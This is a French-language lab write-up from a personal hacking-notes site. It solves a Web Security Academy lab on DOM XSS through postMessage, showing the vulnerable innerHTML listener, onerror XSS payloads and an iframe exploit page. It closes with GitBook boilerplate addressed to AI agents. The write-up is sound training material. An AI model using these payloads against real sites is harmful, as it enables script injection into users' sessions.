> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/dom/xss-dom-via-web-messages.md).

# XSS DOM via messages Web

### XSS DOM utilisant les messages Web

Exploitez une vulnérabilité DOM basée sur XSS fondée sur les messages Web (`postMessage`) `print()` pour que la fonction soit appelée sur la page cible en envoyant un chargement via le serveur d'exploitation.

#### Comportement observé (code source)

La page écoute les messages postés et injecte directement le contenu reçu dans `#ads` l'élément sans assainissement :

<pre class="language-html"><code class="lang-html"><strong>&#x3C;script>
</strong>   window.addEventListener('message', function(e) {
   document.getElementById('ads').innerHTML = e.data;
   })
&#x3C;/script>
</code></pre>

Cela signifie que tout `e.data` reçu sera rendu en HTML dans `#ads`, ouvrant la voie à une XSS DOM si un attaquant peut publier un message contrôlé.

<figure><img src="/files/47abfc56ed590ebe786b3da3c2d9bc7e87d633b7" alt=""><figcaption></figcaption></figure>

#### Tests interactifs (console)

Exemples de messages envoyés depuis la console du parent / d

* message texte simple

```javascript
window.parent.postMessage('Ceci est un test');
```

<figure><img src="/files/48f682fd3f3b773e3131c8db60832c63bc06fdb3" alt=""><figcaption></figcaption></figure>

* injection HTML

```javascript
window.parent.postMessage('<h1>hello</h1>');
```

<figure><img src="/files/7081a61653f52be937cb2ba521ed97d194a35829" alt="" width="490"><figcaption></figcaption></figure>

* test d'alerte (XSS)

```jsx
window.parent.postMessage("<img src='0' onerror=alert(0)>");
```

<figure><img src="/files/62bbe5f6fbcd9bc481143e260205181ca7f229ad" alt=""><figcaption></figcaption></figure>

* provoquer `print()` ( lentille du labo)

```javascript
window.parent.postMessage("<img src='0' onerror=print()>");
```

<figure><img src="/files/70367cbccc5828d49ea28a0e22331e582aebd33d" alt=""><figcaption></figcaption></figure>

#### Exploit d'iframe sur le serveur d'exploitation

Exemple du HTML hébergé sur votre serveur qui charge la page cible dans une iframe puis envoie la charge utile lors du chargement de l'iframe :

```mathml
<iframe
  width="600"
  height="600"
  src="https://0a2300d804f6c0f7810084f10093007d.web-security-academy.net/"
  onload="this.contentWindow.postMessage('Ceci est un test', '*');">
</iframe>
```

<figure><img src="/files/db8a61e513e6b957fe2daf038e6bb4d5c53c6d0e" alt=""><figcaption></figcaption></figure>

Pour déclencher `print()` sur la page cible, envoyez la charge utile contenant `img` élément avec `onerror=print()`:

```html
<iframe
  width="600"
  height="600"
  src="https://0a2300d804f6c0f7810084f10093007d.web-security-academy.net/"
  onload="this.contentWindow.postMessage('<img src=0 onerror=print()>', '*');">
</iframe>
```

<figure><img src="/files/87037494369f390d7f452231a1df2eacb5a62c04" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/dom/xss-dom-via-web-messages.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
